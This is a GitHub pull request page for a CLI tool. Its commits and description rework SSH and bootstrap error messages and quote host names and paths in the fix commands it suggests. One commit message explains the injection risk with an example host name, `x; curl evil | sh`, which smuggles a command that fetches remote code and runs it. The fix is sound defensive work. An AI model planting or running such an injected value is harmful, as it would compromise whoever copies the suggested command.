Repository navigation
Explain node ssh and bootstrap failures for new users - #323
Merged
Merged
Conversation
tas50
force-pushed
the
errors-node-ssh
branch
from
November 27, 2026 06:39
3682c81 to
aa831cb
Compare
SSH failures surfaced as raw library errors ("ssh: handshake failed:
knownhosts: key is unknown", "parse ssh identity file: ...") and the
command-level errors didn't say which argument was missing or what to
do next. Each failure now says what happened, why, and the commands
that fix it.
- cli/remote classifies connection failures (DNS, refused, timeout,
unknown or changed host key, revoked key, rejected login, failed
handshake) into a *remote.Error with a one-line summary and a hint.
Host key errors show the offered fingerprint, the known_hosts line,
and the exact ssh-keyscan or ssh-keygen -R command. A rejected login
lists the methods tried. CommandResult gains reason and hint fields.
- Identity file and known_hosts problems (missing, unreadable,
passphrase-protected, a .pub given as the private key) are
explained and keep wrapping the underlying error.
- node ssh and node bootstrap check SSH settings once, before searching
or registering a client. Bootstrap also validates the node name
before creating the client, so a rejected name no longer leaves a
client behind.
- node ssh's failure summary explains each kind of problem once and
names the hosts it hit, instead of only counting them.
- A failed bootstrap shows the script's last output lines (stderr was
previously hidden behind "Process exited with status 1") and the
cinc client delete / cinc node delete commands needed before retry.
- Missing-argument, empty-search and policy-flag errors name the
missing piece and give a runnable example.
Signed-off-by: Tim Smith <tsmith84@proton.me>
A host from node ssh's search is whatever the node reported about itself, and the host key type comes from the remote server. Both were interpolated into suggested commands unquoted, so a node with an fqdn like `x; curl evil | sh` put a working command into the ssh-keyscan line a user would copy. Every value in a suggested command (host, known_hosts and identity file paths, key type, user, node and client names) now goes through QuoteArg. Host names, host lists, error text and the bootstrap script's output have terminal escape sequences and control characters removed before they're printed. A command's own output is still passed through unchanged, as ssh does. Signed-off-by: Tim Smith <tsmith84@proton.me>
Escape the right-to-left override in the sanitizer test and apply De Morgan's law to the shell-quoting check. Signed-off-by: Tim Smith <tsmith84@proton.me>
The policy and node ssh error tests each defined it; keep the stricter copy, which also rejects em dashes. Signed-off-by: Tim Smith <tsmith84@proton.me>
node ssh now checks its SSH options before searching, so the test read the real ~/.ssh/known_hosts and failed on machines without one. Signed-off-by: Tim Smith <tsmith84@proton.me>
tas50
force-pushed
the
errors-node-ssh
branch
from
November 27, 2026 06:59
4ed68ba to
ff247c0
Compare
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
SSH failures in
node sshandnode bootstrapsurfaced as raw library errors, and the command-level errors didn't say which argument was missing or what to do next. Each failure now says what happened, why, and the command that fixes it.Before / after
Unknown host key
Before:
After:
A changed key names the known_hosts line, both fingerprints, the man-in-the-middle risk, and
ssh-keygen -R. A key-type mismatch (known_hosts has an RSA key, server offered ed25519) is called out as usually harmless.Rejected login (was
ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain)Failed bootstrap
Before (stderr hidden behind the exit status):
After:
Missing argument:
node ssh requires search query, command, and --ssh-userbecomesEmpty search:
node ssh found no hosts for query "web"now shows the expanded query it ran, explainsfield:valuesyntax, and suggestscinc search node role:weband--skip-search.Also covered: connection refused, timeout, DNS lookup failure, no login method available, missing/unreadable/passphrase-protected/
.pubidentity files, missing or malformed known_hosts, unreadable ssh config, and the--policy-name/--policy-group/--run-list/--environmentcombinations.Behavior changes
node sshandnode bootstrapcheck the SSH settings that don't depend on the host (user, identity file, known_hosts) once, before searching or registering a client. Bootstrap also validates the node name before creating the client. Previously a bad--ssh-identity-fileor a node name with a newline was found only after the client existed on the server, which blocked the retry.node ssh's summary explains each kind of failure once and names the hosts it hit, so a fleet failing the same way doesn't repeat a long explanation per host. Per-host lines stay one line.CommandResultgainsreasonandhintin--format json.errors.Is(err, fs.ErrNotExist),errors.Asto*ssh.PassphraseMissingError,*knownhosts.KeyError, and*net.DNSErrorall work.Unit tests use an in-process SSH server; the
nodes/ssh-*andnodes/bootstrap*integration cases pass.